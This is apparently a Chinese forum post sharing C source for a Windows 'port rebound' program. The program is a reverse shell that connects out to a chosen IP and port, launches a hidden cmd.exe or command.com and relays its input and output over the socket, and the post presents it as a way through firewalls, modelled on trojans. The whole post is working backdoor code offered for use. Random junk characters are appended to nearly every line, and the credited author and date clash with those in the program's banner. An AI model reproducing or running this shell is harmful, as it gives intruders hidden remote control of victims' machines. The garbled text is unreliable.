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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sAO/yG  
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/* ============================== us5Zi#}  
Rebound port in Windows NT K HNU=k  
By wind,2006/7 rp @%0/[  
===============================*/ sMAH;'`!Eu  
#include &Odrq#o?R  
#include xP9R d/xa|  
{|%^'lS  
#pragma comment(lib,"wsock32.lib") P{s1NorKDh  
o;9H~E  
void OutputShell(); dC4`xUv  
SOCKET sClient; 3#""`]9H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `6Q+N=k~Z  
Ts, U T L  
void main(int argc,char **argv) 0n X5Vo  
{ 6qV1_M#  
WSADATA stWsaData; e7iQG@i7  
int nRet; 6t <[-  
SOCKADDR_IN stSaiClient,stSaiServer; X,M!Tp  
6V9r[,n  
if(argc != 3) IY~I=}  
{ 4`5W] J]6  
printf("Useage:\n\rRebound DestIP DestPort\n"); ZHwN3  
return; |]:6IuslJ  
} q 7W7sw  
mGwJ>'+d  
WSAStartup(MAKEWORD(2,2),&stWsaData); `nII@ !  
R/B/|x  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }#g &l*P  
V/\`:  
stSaiClient.sin_family = AF_INET; l YdATM(h  
stSaiClient.sin_port = htons(0); \2f?)id~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d hg($m  
zb~;<:<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T z:,l$  
{ .1h\r, #  
printf("Bind Socket Failed!\n"); ELG{xN=o  
return; MjBI1|*  
} PHez5}T  
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stSaiServer.sin_family = AF_INET; ),o=~,v:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *c.w:DkfB  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); / gaC  
/a$Zzs&xs  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1)xj 'n  
{ /ml+b8@  
printf("Connect Error!"); ,rY}IwM w  
return; HA$7Q~{N-t  
} _=[pW2p  
OutputShell(); E^w0X,0XlE  
} P$O@G$n  
=L"I[  
void OutputShell() I?q- :9:  
{ E-9>lb  
char szBuff[1024]; q?w%%.9]X  
SECURITY_ATTRIBUTES stSecurityAttributes; Jn&u u  
OSVERSIONINFO stOsversionInfo; zEE:C|50  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E9.1~ )  
STARTUPINFO stStartupInfo; 2:[<E2z  
char *szShell; T/%k1Hsa4H  
PROCESS_INFORMATION stProcessInformation; kDiR2K&  
unsigned long lBytesRead; rJp9ut'FEz  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  j)mS3#cH  
# 5{lOeN  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q\^BOdX^`  
stSecurityAttributes.lpSecurityDescriptor = 0; &` "uKO]  
stSecurityAttributes.bInheritHandle = TRUE; ZTGsZ}{5   
Qc 1mR\.5  
% 5!Y#$:{o  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); : T4ap_Ycq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v49 i.c9  
1 !.P H   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I=E\=UTG,5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nwDW<J{f|U  
stStartupInfo.wShowWindow = SW_HIDE; ^sJp!hi4=)  
stStartupInfo.hStdInput = hReadPipe; U|+`Eth8(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; od vUU#l  
li`  
GetVersionEx(&stOsversionInfo); p2GN93,u@P  
q~\[P4m  
switch(stOsversionInfo.dwPlatformId) p|r>tBv?x  
{ qm=9!jqC;  
case 1: )qWO}]F  
szShell = "command.com"; p:!FB8  
break; CS xB)-  
default: MA mjoH  
szShell = "cmd.exe"; 1ww~!R  
break; &9n=!S'Md  
} Y=UN`vRR  
h9%.tGx  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1(VskFtZF  
/5XdZu6k`h  
send(sClient,szMsg,77,0); 0NSCeq%;6q  
while(1) Je#3   
{ lb)i0`AN+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ',Oc +jLR  
if(lBytesRead) p AtxEaXh  
{ F xXnX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i?F~]8  
send(sClient,szBuff,lBytesRead,0); mndNkK5o  
} ,ce$y4%(  
else 7ws[Rp8  
{ ;p( Doy)i  
lBytesRead=recv(sClient,szBuff,1024,0); {RH)&k&%  
if(lBytesRead<=0) break; Fz$^CMw5K  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \D! I"mr  
} g+k yvI7o  
} `]2y=f<{X  
N1]P3  
return; Wc/B_F?2  
}
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